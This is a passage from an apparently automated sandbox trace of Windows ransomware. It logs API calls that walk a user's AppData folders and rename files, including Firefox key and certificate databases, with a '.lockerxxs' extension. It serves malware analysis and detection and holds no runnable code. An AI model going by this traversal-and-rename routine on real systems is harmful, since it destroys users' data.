[0088.824] lstrcmpA (lpString1="..", lpString2="Themes") returned -1 [0088.825] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xef632f84, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.825] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.825] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.825] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.826] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.828] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.828] CloseHandle (hObject=0x98) returned 1 [0088.846] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.847] CloseHandle (hObject=0x98) returned 1 [0088.847] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg.lockerxxs")) returned 1 [0088.849] lstrcmpA (lpString1=".", lpString2="Word") returned -1 [0088.849] lstrcmpA (lpString1="..", lpString2="Word") returned -1 [0088.849] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f71aa70, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x5004f0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.851] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.851] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.851] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.851] lstrcmpA (lpString1=".", lpString2="STARTUP") returned -1 [0088.851] lstrcmpA (lpString1="..", lpString2="STARTUP") returned -1 [0088.851] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27c7d150, ftCreationTime.dwHighDateTime=0x1d3aaba, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.852] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.852] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.852] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.853] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0088.855] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.856] CloseHandle (hObject=0x8c) returned 1 [0088.856] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MokNACYV.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\moknacyv.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MokNACYV.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\moknacyv.mp4.lockerxxs")) returned 1 [0088.858] lstrcmpA (lpString1=".", lpString2="Mozilla") returned -1 [0088.858] lstrcmpA (lpString1="..", lpString2="Mozilla") returned -1 [0088.858] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502618 [0088.858] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.858] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.858] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.859] lstrcmpA (lpString1=".", lpString2="Extensions") returned -1 [0088.859] lstrcmpA (lpString1="..", lpString2="Extensions") returned -1 [0088.859] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c001b, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.860] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.861] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.861] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.861] lstrcmpA (lpString1=".", lpString2="Firefox") returned -1 [0088.861] lstrcmpA (lpString1="..", lpString2="Firefox") returned -1 [0088.861] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.862] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.862] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.862] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.862] lstrcmpA (lpString1=".", lpString2="Crash Reports") returned -1 [0088.862] lstrcmpA (lpString1="..", lpString2="Crash Reports") returned -1 [0088.862] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.864] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.864] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.864] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.864] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.866] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.866] CloseHandle (hObject=0x98) returned 1 [0088.867] lstrcmpA (lpString1=".", lpString2="Profiles") returned -1 [0088.867] lstrcmpA (lpString1="..", lpString2="Profiles") returned -1 [0088.867] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.868] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.868] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.868] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.869] lstrcmpA (lpString1=".", lpString2="silmbjec.default") returned -1 [0088.869] lstrcmpA (lpString1="..", lpString2="silmbjec.default") returned -1 [0088.869] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.873] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.875] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.875] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.875] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.877] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.877] CloseHandle (hObject=0x9c) returned 1 [0088.878] lstrcmpA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0088.878] lstrcmpA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0088.878] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5233c30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x8503de70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8503de70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x52d620, cFileName=".", cAlternateFileName="")) returned 0x502718 [0088.882] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.882] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.882] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.882] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.884] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.884] CloseHandle (hObject=0xa0) returned 1 [0088.885] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.885] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.891] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.891] CloseHandle (hObject=0x9c) returned 1 [0088.891] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db.lockerxxs")) returned 1 [0088.893] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.893] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.894] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.894] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.894] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.894] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.895] lstrcmpA (lpString1=".", lpString2="indexedDB") returned -1 [0088.895] lstrcmpA (lpString1="..", lpString2="indexedDB") returned -1 [0088.895] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6ff4f30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x52d620, cFileName=".", cAlternateFileName="")) returned 0x502718 [0088.896] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.896] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.896] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.896] lstrcmpA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0088.896] lstrcmpA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0088.896] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502758 [0088.896] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.897] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.897] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.897] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0088.898] SetFileTime (hFile=0xa4, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.898] CloseHandle (hObject=0xa4) returned 1 [0088.899] lstrcmpA (lpString1=".", lpString2="idb") returned -1 [0088.899] lstrcmpA (lpString1="..", lpString2="idb") returned -1 [0088.899] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8110d50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8110d50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x52d65c, cFileName=".", cAlternateFileName="")) returned 0x502798 [0088.901] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.901] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.901] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.901] lstrcmpA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0088.901] lstrcmpA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0088.901] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0x18ee78 | out: lpFindFileData=0x18ee78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb70ff8d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb70ff8d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb70ff8d0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5027d8 [0088.902] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.902] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.902] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.904] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0088.906] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.906] CloseHandle (hObject=0xa8) returned 1 [0088.906] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.911] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.911] CloseHandle (hObject=0x9c) returned 1 [0088.911] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db.lockerxxs")) returned 1 [0088.913] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.913] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.913] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.913] lstrcmpA (lpString1=".", lpString2="minidumps") returned -1 [0088.913] lstrcmpA (lpString1="..", lpString2="minidumps") returned -1 [0088.913] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x52d620, cFileName=".", cAlternateFileName="")) returned 0x502718 [0088.914] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.914] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.915] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.915] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.915] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.915] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.915] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.917] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.918] CloseHandle (hObject=0x9c) returned 1 [0088.918] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\pluginreg.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\pluginreg.dat.lockerxxs")) returned 1 [0088.919] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.919] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.919] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.925] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.925] CloseHandle (hObject=0x9c) returned 1 [0088.926] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db.lockerxxs")) returned 1 [0088.927] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.927] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.927] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.927] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.928] lstrcmpA (lpString1=".", lpString2="webapps") returned -1 [0088.928] lstrcmpA (lpString1="..", lpString2="webapps") returned -1 [0088.928] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb4f60210, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80d71510, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80d71510, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x52d620, cFileName=".", cAlternateFileName="")) returned 0x502718 [0088.929] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.929] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.929] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.929] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.931] SetFileTime 